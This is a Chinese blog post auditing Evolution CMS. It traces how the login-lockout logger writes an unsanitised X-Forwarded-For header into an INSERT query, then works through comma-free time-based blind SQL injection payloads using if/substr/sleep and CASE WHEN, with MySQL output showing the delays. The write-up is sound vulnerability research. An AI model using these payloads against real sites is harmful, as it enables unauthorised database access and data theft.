审计 这是做项目碰到的一个cms,根据特征发现github上有源码,下载进行审计。后台长这样
该漏洞成因是因为后台登陆某个存在的账户过多时会进行锁定,并将此记录到数据库中。
当锁定用户时会进入记录IP并进入logHandler类的initAndWriteLog方法,部分实现代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public function initAndWriteLog ( $msg = "" , $internalKey = "" , $username = "" , $action = "" , $itemid = "" , $itemname = "" ) { $modx = evolutionCMS(); ........ $this ->writeToLog(); return ; }
然后会调用writeToLog方法写入日志:
定义$fields数组最后插入到数据库中,后面的代码应该就是遍历数组插入数据库。继续跟进getuserip的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 private function getUserIP ( ) { if ( array_key_exists('HTTP_X_FORWARDED_FOR' , $_SERVER ) && !empty ($_SERVER ['HTTP_X_FORWARDED_FOR' ]) ) { if (strpos($_SERVER ['HTTP_X_FORWARDED_FOR' ], ',' )>0 ) { $addr = explode("," ,$_SERVER ['HTTP_X_FORWARDED_FOR' ]); return trim($addr [0 ]); } else { return $_SERVER ['HTTP_X_FORWARDED_FOR' ]; } } else { return $_SERVER ['REMOTE_ADDR' ]; } }
这里获取X_FORWARDED_FOR的值并返回,注意这里会将逗号分隔,其他的没有什么限制,所以注入的话就不能用逗号。
为了方便,我根据代码实现一个类似的简单功能:
1 2 3 4 5 6 7 8 9 10 <?php $ip = "我们的payload" ; $addr = explode("," ,$ip ); $fields ['message' ] = 'asdgas' ; $fields ['ip' ] = $addr [0 ]; $fields ['useragent' ] = 'asdgasdg' ; $fields = "(`" . implode("`, `" , array_keys($fields )) . "`) VALUES('" . implode("', '" ,array_values($fields )) . "')" ; var_dump($fields ); ?>
最后将$fields插入代码中执行insert语句,最后成功延时。
insert注入脱坑 这里报错注入是用不了的,只能是时间盲注加不使用逗号,其实常规注入就可以,只是本地测试发现一些小问题记录一下。
利用substr函数构造if语句即可
1 2 3 4 5 mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin"); Query OK, 1 row affected (0.00 sec) mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin"); Query OK, 1 row affected (5.01 sec)
先给出三个语句
1 2 3 4 5 6 insert into test values ("adn",'1' (select case when substr((select user()) from 1 for 1)='r' then sleep(5) else 0 end) '1',"admin"); insert into test values ("adn",'1'+(select case when substr((select user()) from 1 for 1)='r' then sleep(5) else 0 end)+'1',"admin"); insert into test values ("adn",'1' and (select case when substr((select user()) from 1 for 1)='r' then sleep(5) else 0 end) and '1',"admin");
第一个语句肯定是会报错的,原理说不上来。 来看第二第三个语句,前者是运算符拼接,后者是and连接,并且插入的数据也不一样,前提是能执行成功如果执行结果为0是不会插入数据库的。
但是发现一个问题:
为什么这三个语句只能有一个执行成功呢,字符在and语句中是0,个人觉得如果and语句第一个条件是0的话后面的就不会执行,mysql会直接判断为0。
我们换一下位置
果然第一个and语句会执行,所以当为and的时候要用insert into test values (“adn”,’1’ and (select case when substr((select user()) from 1 for 1)=’r’ then sleep(5) else 0 end) and ‘1’,”admin”);至少第一个要为数字或者是1
运算符+的情况为空或者数字都行
其实是个很简单的东西,只是在本地测试的时候犯下很多糊涂,算是记录一下长长记性,钻研问题就从小问题开始对吧。